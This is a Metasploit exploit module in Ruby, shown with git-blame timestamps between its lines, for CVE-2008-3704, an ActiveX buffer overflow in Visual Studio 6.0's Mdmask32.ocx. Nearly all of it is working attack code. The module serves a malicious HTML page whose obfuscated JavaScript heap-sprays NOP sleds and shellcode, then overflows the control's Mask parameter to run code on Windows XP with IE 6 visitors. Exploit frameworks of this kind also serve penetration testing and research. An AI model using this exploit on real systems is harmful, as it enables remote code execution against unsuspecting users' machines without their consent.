2010-04-30 08:40:19 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2012-04-15 23:35:38 -05:00
|
|
|
'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow',
|
2009-12-15 18:47:29 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
|
2010-04-30 08:40:19 +00:00
|
|
|
When passing a specially crafted string to the Mask parameter of the
|
2012-04-15 23:35:38 -05:00
|
|
|
Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
|
2010-09-20 08:06:27 +00:00
|
|
|
code.
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2009-12-15 18:47:29 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' => [ 'koshi', 'MC' ],
|
|
|
|
|
'References' =>
|
2009-12-15 18:47:29 +00:00
|
|
|
[
|
2010-06-15 23:49:17 +00:00
|
|
|
[ 'CVE', '2008-3704' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
[ 'OSVDB', '47475' ],
|
2010-05-13 16:53:50 +00:00
|
|
|
[ 'BID', '30674' ],
|
2010-06-15 23:49:17 +00:00
|
|
|
[ 'MSB', 'MS08-070' ]
|
2009-12-15 18:47:29 +00:00
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
|
2009-12-15 18:47:29 +00:00
|
|
|
],
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2008-08-13',
|
2009-12-15 18:47:29 +00:00
|
|
|
'DefaultTarget' => 0))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2009-12-15 18:47:29 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload.
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
# Encode the shellcode.
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# Create some nops.
|
2009-12-15 18:47:29 +00:00
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
# Randomize the javascript variable names.
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
var_i = rand_text_alpha(rand(30) + 2)
|
|
|
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand8 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand9 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand10 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand11 = rand_text_alpha(rand(100) + 1)
|
2017-02-22 14:14:58 -05:00
|
|
|
randnop = rand_text_alpha(rand(100) + 1)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<script language="javascript">
|
|
|
|
|
var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
|
|
|
|
|
var #{rand2}='"></object>';
|
|
|
|
|
var #{rand3} = '';
|
|
|
|
|
for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
|
|
|
|
|
var #{rand4} = unescape("#{shellcode}");
|
|
|
|
|
var #{rand5} = (#{rand4}.length * 2);
|
2017-02-22 14:14:58 -05:00
|
|
|
var #{randnop} = "#{nops}";
|
|
|
|
|
var #{rand6} = unescape(#{randnop});
|
2009-12-15 18:47:29 +00:00
|
|
|
var #{rand7} = 0x0c0c0c0c;
|
|
|
|
|
var #{rand8} = 0x100000;
|
|
|
|
|
var #{rand9} = #{rand8} - (#{rand5} + 1);
|
|
|
|
|
var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
|
|
|
|
|
var #{rand11} = new Array();
|
|
|
|
|
while (#{rand6}.length*2<#{rand9})
|
|
|
|
|
{ #{rand6} += #{rand6}; }
|
|
|
|
|
#{rand6} = #{rand6}.substring(0,#{rand9}/2);
|
|
|
|
|
for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
|
|
|
|
|
{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
|
|
|
|
|
document.write(#{rand1}+#{rand3}+#{rand2});
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
2012-04-20 13:31:42 -06:00
|
|
|
print_status("Sending #{self.name}")
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
end
|
